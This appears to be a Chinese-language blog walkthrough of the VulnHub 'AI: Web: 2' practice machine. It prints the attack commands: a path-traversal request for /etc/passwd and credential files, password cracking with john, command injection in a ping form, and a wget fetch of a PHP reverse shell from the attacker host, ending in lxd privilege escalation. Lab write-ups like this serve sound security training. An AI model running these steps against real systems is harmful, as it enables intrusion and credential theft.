vulnhub-web2

  1. 前言
  2. 解题过程
  3. 总结

前言

今天去vulnhub捞了到题来做,感觉还行学到的东西挺多的。要考OSCP的gay佬们不访刷刷
KMrFcn.png

解题过程

下载好虚拟机镜像,然后网络环境设置仅本机访问
KMsnqP.png

将kali设置为桥接模式,使用fping -ag IP/24获取存活的IP
KMcHy9.png

后面发现IP:192.168.1.109:

Kali:192.168.1.108
Ubuntu:192.168.1.109

KMgFeI.png

先看web的几个页面和目录扫描一波
KMghnA.png

发现一个注册和登录页面

使用dirbsearch来扫描Bo目录

dirsearch -u http://192.168.1.109 -e path

KM2Fc4.png

发现几个存活目录

[22:15:54] 301 -  233B  - /css  ->  http://192.168.1.106/css/
[22:15:56] 200 -  678B  - /index.php
[22:15:56] 200 -  685B  - /index.php/login/
[22:15:59] 403 -  199B  - /server-status
[22:15:59] 403 -  199B  - /server-status/
[22:16:01] 401 -  381B  - /webadmin/admin.html
[22:16:01] 401 -  381B  - /webadmin/
[22:16:01] 401 -  381B  - /webadmin
[22:16:01] 401 -  381B  - /webadmin/index.html
[22:16:01] 401 -  381B  - /webadmin/admin.php
[22:16:01] 401 -  381B  - /webadmin/login.html
[22:16:02] 401 -  381B  - /webadmin/index.php
[22:16:02] 401 -  381B  - /webadmin/login.php

发现可以访问的路径

http://192.168.1.109/signup.php
http://192.168.1.109/

还有设置了apache_auth的目录

/webadmin

KMRDJK.png

首先对注册的界面进行一波用户名猜解
KMWOje.png

发现返回字节总数是:946的则为存在的用户

存在的用户
admin
00000000
0
111111
11111111
88888888
888888
aaaaaa
aaaaaaaa

在登录页面输入admin,可以进入管理界面

发现这些功能都没的点,尝试用其他用户名登录,发现这些东西没法下载
KM5MCt.png

后面尝试从admin用户进去的管理的页面尝试获取新的思路,发现从源码中发现有一段被注释掉的文件上传的源码
KMIOw4.png

尝试文件上传

<html>
<body>
        <form enctype="multipart/form-data" action="/userpage.php" method="POST">
            <input type="hidden" name="MAX_FILE_SIZE" value="1000000000" />
            <label for="uploadfile_input">Choose a file to upload:&nbsp;&nbsp;</label><input name="uploadedfile" type="file" id="uploadfile_input"/>
            <button type="submit" class = "button">Upload File</button>
            <span class="error"></span>
        </form>
    </div>
  </body>
  </html>

发现文件上传并不成功
KM7dwF.png

端口扫描康康
KMHK6x.png

草…突然发现思路陷入死胡同,整理一波收集到的信息

IP
http://192.168.1.106/

用户名枚举
http://192.168.1.106/signup.php

目录
[22:15:54] 301 -  233B  - /css  ->  http://192.168.1.106/css/
[22:15:56] 200 -  678B  - /index.php
[22:15:56] 200 -  685B  - /index.php/login/
[22:15:59] 403 -  199B  - /server-status
[22:15:59] 403 -  199B  - /server-status/
[22:16:01] 401 -  381B  - /webadmin/admin.html
[22:16:01] 401 -  381B  - /webadmin/
[22:16:01] 401 -  381B  - /webadmin
[22:16:01] 401 -  381B  - /webadmin/index.html
[22:16:01] 401 -  381B  - /webadmin/admin.php
[22:16:01] 401 -  381B  - /webadmin/login.html
[22:16:02] 401 -  381B  - /webadmin/index.php
[22:16:02] 401 -  381B  - /webadmin/login.php

存在的用户
admin
00000000
0
111111
11111111
88888888
888888
aaaaaa
aaaaaaaa

后面从其他用户,发现可以下载的地方注意到了那个链接

http://192.168.1.109/download.php?file_name= 下载的文件
http://192.168.1.109/download.php?file_name=/../../../../../etc/passwd

发现可以进行任意文件下载
KMLWjI.png

收集了一些目录对其进行burp跑

/etc/passwd
/var/log/apache2/access.log
/etc/shadow
/etc/hosts
/etc/apache2/apache2.conf
/etc/apache2/ports.conf
/etc/hostname
/proc/version
/etc/apache2/.htpasswd

最后发现/.htpasswd有个hash

使用john进行破解

john test.txt --wordlist=/usr/share/wordlists/rockyou.txt

这里使用rockyou.txt做字典的原因是,题目给出的提示

最后的得到的密码

由于是.htpasswd在加上/etc/passwd上得到的用户,得出这是apache auth登录的用户

username:aiweb2admin
passwd:c.ronaldo

拥有密码后此时便可以访问到webadmin目录,进去之后给了个大大的提示
KQFXYn.png

访问/robots.txt
KQk1kd.png

访问第一个路径,得到一个ping功能的表单,这不是暗示这是个命令注入的洞吗- -!
KQk8fI.png

第二个路径提示更是是验证了上一个猜想
KQkRnU.png

首先先尝试能否ping通本机
KQk5N9.png

KQk71x.png

PS:这里重启了虚拟机导致IP变了

查看了一下权限
KQEEM6.png

当前目录
KQEnde.png

尝试写shell,发现各种失败…由于apache的auth验证,导致菜刀无法使用,上传普通的一句话马子发现居然没有办法执行,迫不得已悄悄咪咪的看了一眼WP,发现居然使用一个名叫php-reverse-shell-1.0的玩意getshell

下载地址:
http://pentestmonkey.net/tools/web-shells/php-reverse-shell

在本机使用nc监听端口,然后修改那个php里面的IP和PORT设置
KQEJL8.png

但是我使用

x.php改名的
wget http://192.168.1.108/x.php

下载发现特么执行失败,后面我怀疑是代码没有完全传输完成,将马子改名为txt,下载到目标机后在改名为php

mv x.php x.txt
wget http://192.168.1.108/x.txt
mv x.txt x.php

后面访问上传的x.php最后得到一个低权的shell

http://192.168.1.108/webadmin/H05Tpin9555/x.php

后面在/var/www/html发现一个特殊的目录

进入发现一个txt
KQV5NQ.png

给出 了一个低权的用户

User: n0nr00tuser
Cred: zxowieoi4sdsadpEClDws1sf

ssh连接之后,查询版本号和权限
KQVHcq.png

发现是Ubuntu 18.04….Google了一下Ubuntu 18.04提权的洞
Ubuntu 提权漏洞(CVE-2019-7304)复现 - Sch01aR# - 博客园 - 失败

searchsploit Ubuntu 18.04
KQZ7Ie.png

后面发现那个sh脚本完全不是这么利用的,,又悄悄咪咪的看了一下wp
发现是id命令执行之后又lxd这三个关键字的可以用这个来提权
KQeXY4.png

后面发现脚本的注释上有交怎么用这个jiaoben- -,下载之后,在用bash编译成一个tar.gz的玩意在把那个sh和压缩包拷贝在目标机然后

xxx.sh -f xx.tar.gz

即可获得root权限……bash编译过程慢死了,还要fq
KQexp9.png

KQezlR.png
后面根据题目提升在/mnt/root/root中找到flag.txt
KQmpOx.png

参考链接:
AI: Web: 2 Vulnhub Walkthrough
YouTube

总结

通过看别的解题思路,发现作者在用admin登入后,将关键字XuezhuLi,在Google或searchsploit搜索了从而得到漏洞点..所以找到CMS或者服务名真的很重要
KQnnC4.png

到命令执行漏洞哪里,作者并没有立马执行命令,反而先用tcpdump -i <网卡> <协议名>,来判断是否和攻击机的IP想通

getshell哪里也收到了一个不错的getshell玩意

searchspolit搜到对应的exp时应该先看注释,不急得去使用exp


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:vulnhub-web2

本文作者:九世

发布时间:2019-10-20, 21:04:45

最后更新:2019-10-21, 01:32:21

原始链接:http://422926799.github.io/posts/86766a2f.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录